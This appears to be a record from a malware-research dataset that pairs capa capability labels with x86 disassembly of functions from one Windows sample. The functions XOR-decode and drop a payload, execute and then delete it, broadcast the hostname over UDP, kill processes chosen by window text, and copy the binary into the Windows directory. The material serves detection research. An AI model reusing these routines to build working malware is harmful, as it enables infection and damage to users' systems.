joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401bc7
Capabilities:
Encode data using xor
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call section..text
test eax, eax
je 0x401d9c
push 0x40e448
call fcn.0040107c
test eax, eax
je 0x401d9c
xor esi, esi
push esi
push esi
push esi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
push 0x80
push 2
push esi
push 1
push 0xc0000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x401d9c
push dword [0x40e454]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [0x40e454]
mov ebx, eax
push esi
push ebx
call fcn.00403ee0
add esp, 0xc
lea eax, [ebp - 4]
push esi
push eax
push dword [0x40e454]
push ebx
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401c6c
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x401d9c
lea eax, [ebp - 4]
push esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [0x40e454]
push ebx
push dword [ebp - 0xc]
call edi
test eax, eax
push ebx
je 0x401c61
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFree]
call ebx
push esi
push 0x80
push 3
push esi
push 1
push bind
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x401d9c
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp + 0xc], eax
lea eax, [ebp - 4]
push esi
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401cf2
push dword [ebp + 0xc]
call ebx
jmp 0x401d9c
mov eax, dword [ebp - 4]
push dword [ebp + 8]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
cmp dword [ebp - 8], esi
jbe 0x401d16
mov eax, dword [ebp + 0xc]
add eax, ecx
xor byte [eax], 0x17
inc ecx
cmp ecx, dword [ebp - 8]
jb 0x401d08
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x10]
push 4
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x10], esi
call edi
test eax, eax
je 0x401ce8
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp - 8]
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call edi
push dword [ebp + 0xc]
test eax, eax
je 0x401ceb
call ebx
mov ebx, dword [ebp - 0xc]
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 8]
push 4
push eax
push ebx
call edi
test eax, eax
je 0x401d9c
lea eax, [ebp - 4]
push esi
push eax
push 4
push 0x40e454
push ebx
call edi
test eax, eax
je 0x401d9c
lea eax, [ebp - 4]
push esi
push eax
push 2
push 0x40b200
push ebx
call edi
test eax, eax
je 0x401d9c
lea eax, [ebp - 0x14]
push eax
call fcn.00403e95
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x14]
push 4
push eax
push ebx
call edi
test eax, eax
jne 0x401da0
xor eax, eax
jmp 0x401daa
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x401db1
Capabilities:
Create process on windows
Delete file
Encode data using xor
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
push ebx
push esi
push edi
xor esi, esi
push dword [0x40e460]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push esi
push esi
push dword [0x40e464]
mov edi, eax
mov dword [ebp - 4], edi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push esi
push eax
push dword [0x40e460]
push edi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp dword [0x40e460], esi
jbe 0x401e14
xor byte [eax + edi], 0x17
inc eax
cmp eax, dword [0x40e460]
jb 0x401e07
push 0x100
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.00403ee0
mov edi, 0x200
lea eax, [ebp - 0x308]
push edi
push esi
push eax
call fcn.00403ee0
add esp, 0x18
lea eax, [ebp - 0x308]
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x401f70
lea eax, [ebp - 0x108]
push 0x40d100
push eax
call fcn.00404440
lea eax, [ebp - 0x308]
push eax
call fcn.00404280
add esp, 0xc
mov ebx, eax
dec ebx
je 0x401ebe
cmp byte [ebp + ebx - 0x308], 0x5c
jne 0x401e75
lea eax, [ebp - 0x308]
push eax
call fcn.00404280
push 0xfffffffffffffffd
pop ecx
sub ecx, ebx
add eax, ecx
push eax
lea eax, [ebp + ebx - 0x308]
push eax
lea eax, [ebp - 0x106]
push eax
call fcn.00403f40
lea eax, [ebp - 0x108]
push 0x40d0fc
push eax
call fcn.00404440
add esp, 0x18
push esi
push 0x80
push 2
push esi
push 1
lea eax, [ebp - 0x108]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401f70
lea eax, [ebp - 8]
push esi
push eax
push dword [0x40e460]
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401f70
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
lea eax, [ebp - 0x508]
push esi
push eax
call fcn.00403ee0
lea eax, [ebp - 0x508]
push str.notepad
push eax
call fcn.00404440
add esp, 0x14
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x508]
push eax
call fcn.00404280
pop ecx
lea eax, [ebp + eax - 0x508]
push eax
call fcn.00404440
pop ecx
lea eax, [ebp - 0x508]
pop ecx
push 5
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402086
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceA]
push 0xe
xor ebp, ebp
push 0x65
push ebp
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
push esi
push ebp
call ebx
push esi
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [esp + 0x18], eax
call ebp
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_LockResource]
test esi, esi
mov dword [esp + 0x28], eax
je 0x40218d
and dword [esp + 0x1c], 0
cmp word [eax + 4], 0
jbe 0x40218d
add eax, 0x12
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
push 3
movzx eax, word [eax]
push eax
push 0
call edi
mov esi, eax
push esi
push 0
call ebx
push esi
push 0
mov dword [esp + 0x18], eax
call ebp
push dword [esp + 0x10]
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [0x40e030]
and dword [esp + 0x10], 0
sub ecx, dword [esp + 0x14]
mov dword [esp + 0x24], eax
je 0x402172
xor esi, esi
cmp dword [esp + 0x14], esi
jbe 0x402152
mov eax, dword [0x40e02c]
mov edx, dword [esp + 0x10]
add eax, edx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov al, byte [eax + esi]
cmp al, byte [esi + edx]
jne 0x402152
inc esi
cmp esi, dword [esp + 0x14]
jb 0x40213b
cmp esi, dword [esp + 0x14]
je 0x402164
inc dword [esp + 0x10]
cmp dword [esp + 0x10], ecx
jb 0x402124
jmp 0x402172
mov eax, dword [esp + 0x10]
mov dword [0x40e028], eax
call fcn.00402195
mov eax, dword [esp + 0x28]
inc dword [esp + 0x1c]
add dword [esp + 0x18], 0x10
movzx eax, word [eax + 4]
cmp dword [esp + 0x1c], eax
jl 0x4020e3
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x402694
Capabilities:
Get hostname
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push ebx
push esi
push edi
xor ebx, ebx
push 0x40
lea eax, [ebp - 0x54]
push ebx
push eax
call fcn.00403ee0
mov eax, 0xff
mov byte [ebp - 0x154], 0x67
mov dword [ebp - 4], eax
push eax
lea eax, [ebp - 0x153]
push ebx
push eax
call fcn.00403ee0
add esp, 0x18
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x153]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov esi, 0x40d138
lea eax, [ebp - 0x153]
push esi
push eax
call fcn.00404440
push esi
call fcn.00404280
mov ecx, dword [ebp - 4]
add esp, 0xc
lea eax, [ecx + eax + 1]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x54]
push eax
push str.255.255.255.0
call fcn.004027f0
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
lea eax, [ebp - 0x54]
push eax
call esi
mov edi, dword [sym.imp.WS2_32.dll_htons]
push 0x4e
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], 2
call edi
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_sendto]
push dword [ebp - 4]
lea eax, [ebp - 0x154]
push eax
push dword [ebp + 8]
call ebx
push 0x40
lea eax, [ebp - 0x54]
push 0
push eax
call fcn.00403ee0
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
push str.255.255.0.0
call fcn.004027f0
lea eax, [ebp - 0x54]
push eax
call esi
push 0x4e
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], 2
call edi
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push 0
push dword [ebp - 4]
lea eax, [ebp - 0x154]
push eax
push dword [ebp + 8]
call ebx
push 0x40
lea eax, [ebp - 0x54]
push 0
push eax
call fcn.00403ee0
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
push str.255.0.0.0
call fcn.004027f0
lea eax, [ebp - 0x54]
push eax
call esi
push 0x4e
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], 2
call edi
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push 0
lea eax, [ebp - 0x154]
push dword [ebp - 4]
push eax
push dword [ebp + 8]
call ebx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4027f0
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
lea eax, [ebp - 0x6c]
push 0x40
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push 4
mov edi, eax
lea esi, [ebp - 0x2c]
pop ebx
push 4
push 0
push esi
call fcn.00403ee0
add esp, 0xc
add esi, 4
dec ebx
jne 0x402824
xor esi, esi
push edi
mov dword [ebp - 4], esi
xor ebx, ebx
call fcn.00404280
test eax, eax
pop ecx
jbe 0x402885
lea eax, [ebp - 0x2c]
mov dword [ebp - 0xc], eax
cmp byte [edi + esi], 0x2e
lea eax, [esi + 1]
mov dword [ebp - 8], eax
jne 0x402878
sub esi, ebx
add ebx, edi
push esi
push ebx
push dword [ebp - 0xc]
call fcn.00403f40
mov ebx, dword [ebp - 8]
add esp, 0xc
inc dword [ebp - 4]
add dword [ebp - 0xc], 4
mov eax, ebx
push edi
mov esi, eax
call fcn.00404280
cmp esi, eax
pop ecx
jb 0x40284f
push edi
call fcn.00404280
sub eax, ebx
add ebx, edi
push eax
mov eax, dword [ebp - 4]
push ebx
lea eax, [ebp + eax*4 - 0x2c]
push eax
call fcn.00403f40
add esp, 0x10
lea esi, [ebp - 0x1c]
push 4
pop edi
push 4
push 0
push esi
call fcn.00403ee0
add esp, 0xc
add esi, 4
dec edi
jne 0x4028a7
mov edi, dword [ebp + 8]
xor esi, esi
push edi
mov dword [ebp - 4], esi
xor ebx, ebx
call fcn.00404280
test eax, eax
pop ecx
jbe 0x40290b
lea eax, [ebp - 0x1c]
mov dword [ebp + 8], eax
cmp byte [edi + esi], 0x2e
lea eax, [esi + 1]
mov dword [ebp - 8], eax
jne 0x4028fe
sub esi, ebx
add ebx, edi
push esi
push ebx
push dword [ebp + 8]
call fcn.00403f40
mov ebx, dword [ebp - 8]
add esp, 0xc
inc dword [ebp - 4]
add dword [ebp + 8], 4
mov eax, ebx
push edi
mov esi, eax
call fcn.00404280
cmp esi, eax
pop ecx
jb 0x4028d5
push edi
call fcn.00404280
sub eax, ebx
add ebx, edi
push eax
mov eax, dword [ebp - 4]
push ebx
lea eax, [ebp + eax*4 - 0x1c]
push eax
call fcn.00403f40
add esp, 0x10
xor esi, esi
mov edi, 0x40d140
push 3
lea eax, [ebp + esi - 0x1c]
push edi
push eax
call fcn.00404520
add esp, 0xc
test eax, eax
jne 0x402949
lea eax, [ebp + esi - 0x2c]
push eax
jmp 0x40294a
push edi
push dword [ebp + 0xc]
call fcn.00404440
pop ecx
cmp esi, 0xc
pop ecx
je 0x402968
push 0x40d13c
push dword [ebp + 0xc]
call fcn.00404440
pop ecx
pop ecx
add esi, 4
cmp esi, 0x10
jl 0x40292e
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x402977
Capabilities:
Get hostname
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
push ebx
push esi
push edi
push 1
pop edi
xor esi, esi
push edi
push 2
push esi
call fcn.00401538
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402a3e
mov dword [ebp - 0x194], edi
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], 4
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x190], ebx
add edi, 0x7f
push 0x7f
lea eax, [ebp - 0x8f]
push esi
push eax
mov byte [ebp - 0x90], 0x6f
mov dword [ebp - 8], edi
call fcn.00403ee0
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x8f]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp + 8]
push 0x10
push eax
mov eax, dword [ebp - 8]
inc eax
push esi
push eax
lea eax, [ebp - 0x90]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_sendto]
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x194]
push esi
push eax
push esi
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x402a37
cmp eax, esi
jne 0x402a27
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x4029b8
jmp 0x402a37
push esi
lea eax, [ebp - 0x90]
push edi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x402c7f
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x14]
push ebx
push esi
push edi
xor edi, edi
cmp eax, dword [ebp + 0x10]
jg 0x402cc5
mov ebx, dword [ebp + 0xc]
mov esi, dword [sym.imp.WS2_32.dll_recv]
push edi
push eax
push ebx
push dword [ebp + 8]
call esi
cmp eax, 0xffffffff
je 0x402cc5
test eax, eax
je 0x402cc5
add edi, eax
cmp edi, dword [ebp + 0x14]
jge 0x402cc1
mov eax, dword [ebp + 0x14]
push 0
sub eax, edi
push eax
lea eax, [edi + ebx]
push eax
push dword [ebp + 8]
jmp 0x402c9e
mov eax, edi
jmp 0x402cc8
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
ret 0x10

Function at 0x402ccf
Capabilities:
Create thread

Disassembly:
xor eax, eax
cmp dword [0x40e078], eax
jne 0x402cf1
push eax
push eax
push dword [esp + 0xc]
push 0x402d0e
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x40e078], eax
ret 4

Function at 0x402cf4
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [0x40e078]
test eax, eax
je 0x402d06
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
and dword [0x40e078], 0
ret
Function at 0x402dec
Capabilities:
Get graphical window text
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc08
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push ebx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x402f96
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x400
lea eax, [ebp - 0x408]
push 0
push eax
call fcn.00403ee0
add esp, 0xc
lea eax, [ebp - 0x408]
push eax
push dword [ebp - 8]
call fcn.004031e4
lea eax, [ebp - 0x408]
push eax
call fcn.00404384
mov esi, 0x800
lea eax, [ebp - 0xc08]
push esi
push 0
push eax
call fcn.00403ee0
add esp, 0x10
cmp dword [ebp + 0xc], 1
jne 0x402e74
lea eax, [ebp - 0xc08]
push esi
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x402e85
lea eax, [ebp - 0xc08]
push eax
push esi
push 0xd
push ebx
call dword [sym.imp.USER32.dll_SendMessageA]
lea eax, [ebp - 0xc08]
push eax
call fcn.00404384
pop ecx
push 5
push ebx
call dword [sym.imp.USER32.dll_GetWindow]
mov dword [ebp + 8], eax
lea eax, [ebp - 0xc08]
push eax
call fcn.00404280
test eax, eax
pop ecx
jbe 0x402ee2
xor edi, edi
cmp dword [0x40d18c], edi
jbe 0x402ee2
mov dword [ebp - 4], str.MSWDM.EXE
mov eax, dword [ebp - 4]
push dword [eax]
lea eax, [ebp - 0xc08]
push eax
call fcn.00402f9d
test eax, eax
jg 0x402f3d
add dword [ebp - 4], 4
inc edi
cmp edi, dword [0x40d18c]
jb 0x402ec0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x402f96
cmp dword [ebp + 0xc], 1
jne 0x402f0a
lea eax, [ebp - 0xc08]
push esi
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x402f1b
lea eax, [ebp - 0xc08]
push eax
push esi
push 0xd
push ebx
call dword [sym.imp.USER32.dll_SendMessageA]
lea eax, [ebp - 0xc08]
push eax
call fcn.00404384
pop ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00402dec
push 2
push dword [ebp + 8]
jmp 0x402e95
xor ebx, ebx
xor esi, esi
cmp dword [0x40d1a4], ebx
jbe 0x402f6c
mov edi, 0x40d190
push dword [edi]
lea eax, [ebp - 0x408]
push eax
call fcn.00402f9d
test eax, eax
jg 0x402f96
inc esi
add edi, 4
cmp esi, dword [0x40d1a4]
jb 0x402f4e
push dword [ebp - 8]
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, ebx
je 0x402f96
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x402f96
lea eax, [ebp - 0x408]
push 1
push eax
call fcn.00402ff6
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x402ff6
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
xor ebx, ebx
push 0x50
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push 0x50
push ebx
push esi
call fcn.00403ee0
add esp, 0xc
push esi
push dword [ebp + 8]
call fcn.004030f7
test eax, eax
je 0x40304b
push esi
call fcn.00404384
mov dword [esp], str.MICROSOFT
push eax
call fcn.00402f9d
test eax, eax
jle 0x40304b
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x4030f0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, 0x105
lea eax, [ebp - 0x108]
push esi
push ebx
push eax
call fcn.00403ee0
push esi
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.00403ee0
add esp, 0x18
lea eax, [ebp - 0x108]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x108]
push str.welcome.exe
push eax
call fcn.00404440
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
pop ecx
lea eax, [ebp - 0x108]
push ebx
push dword [ebp + 8]
push eax
call esi
test eax, eax
jne 0x4030f0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call edi
push ebx
lea eax, [ebp - 0x108]
push dword [ebp + 8]
push eax
call esi
test eax, eax
jne 0x4030f0
push 0x7d0
call edi
push ebx
lea eax, [ebp - 0x108]
push dword [ebp + 8]
push eax
call esi
test eax, eax
jne 0x4030f0
cmp dword [ebp + 0xc], ebx
je 0x4030f0
push 1
call fcn.004017c5
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x4030f7
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
and dword [ebp - 4], 0
push ebx
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
test esi, esi
je 0x403148
push esi
call fcn.00404731
pop ecx
mov ebx, eax
push ebx
push esi
push 0
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x403148
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push str.VarFileInfoTranslation
push ebx
call sub.VERSION.dll_VerQueryValueA
test eax, eax
jne 0x40314f
xor eax, eax
jmp 0x4031de
push 0x80
lea eax, [ebp - 0x90]
push 0
push eax
call fcn.00403ee0
add esp, 0xc
xor esi, esi
test dword [ebp - 4], 0xfffffffc
jbe 0x40319b
mov eax, dword [ebp - 0xc]
movzx ecx, word [eax + 2]
movzx eax, word [eax]
push ecx
push eax
lea eax, [ebp - 0x90]
push str.StringFileInfo_04x_04xCompanyName
push eax
call fcn.004046df
mov eax, dword [ebp - 4]
add esp, 0x10
inc esi
shr eax, 2
cmp esi, eax
jb 0x403170
push 0x50
pop esi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x90]
push eax
push ebx
mov dword [ebp - 0x10], esi
call sub.VERSION.dll_VerQueryValueA
push 0x4f
push dword [ebp - 8]
push dword [ebp + 0xc]
call fcn.00403f40
add esp, 0xc
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 1
pop eax
pop esi
pop ebx
leave
ret 8
Function at 0x4031e4
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
call fcn.00403309
cmp eax, 1
jne 0x403252
mov edi, 0x128
push edi
call fcn.004045cc
pop ecx
mov esi, eax
push 0
push 2
mov dword [esi], edi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
push esi
push edi
call sub.KERNEL32.dll_Process32First
mov ebx, dword [ebp + 8]
test eax, eax
jne 0x403232
push esi
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x403302
cmp dword [esi + 8], ebx
jne 0x403223
add esi, 0x24
push esi
call fcn.00404280
push eax
push esi
push dword [ebp + 0xc]
call fcn.00403f40
add esp, 0x10
jmp 0x403302
push str.psapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.EnumProcessModules
push eax
mov dword [ebp - 4], eax
call esi
push str.GetModuleFileNameExA
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
call esi
push dword [ebp + 8]
mov dword [ebp - 8], eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ebx, eax
test ebx, ebx
je 0x4032fd
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp + 8]
push 4
push eax
push ebx
call dword [ebp - 0xc]
test eax, eax
je 0x4032fd
mov esi, 0x100
lea eax, [ebp - 0x110]
push esi
push 0
push eax
call fcn.00403ee0
add esp, 0xc
lea eax, [ebp - 0x110]
push esi
push eax
push dword [ebp + 8]
push ebx
call dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
call edi
lea eax, [ebp - 0x110]
push eax
call fcn.00404280
push eax
lea eax, [ebp - 0x110]
push eax
push dword [ebp + 0xc]
call fcn.00403f40
add esp, 0x10
push dword [ebp - 4]
call edi
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x40356e
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 0x104
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.00403ee0
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.00404440
lea eax, [ebp - 0x104]
push str.sys.try
push eax
call fcn.00404440
add esp, 0x1c
lea eax, [ebp - 0x104]
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x4035d5
xor eax, eax
jmp 0x4035ec
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 1
pop eax
leave
ret 4
Function at 0x4035f0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push esi
mov esi, 0x104
push edi
push esi
lea eax, [ebp - 0x208]
push 0
push eax
call fcn.00403ee0
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call fcn.00404440
lea eax, [ebp - 0x208]
push str..
push eax
call fcn.00404440
add esp, 0x1c
push dword [ebp + 8]
call fcn.004036df
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4036d9
cmp byte [ebp - 0x31c], 0x2e
je 0x4036c0
mov eax, dword [ebp - 0x348]
and eax, 0x10
cmp al, 0x10
jne 0x4036c0
push esi
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.00403ee0
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.00404440
lea eax, [ebp - 0x104]
push 0x40d10c
push eax
call fcn.00404440
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00404440
add esp, 0x24
lea eax, [ebp - 0x104]
push eax
call fcn.004035f0
lea eax, [ebp - 0x348]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403659
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
leave
ret 4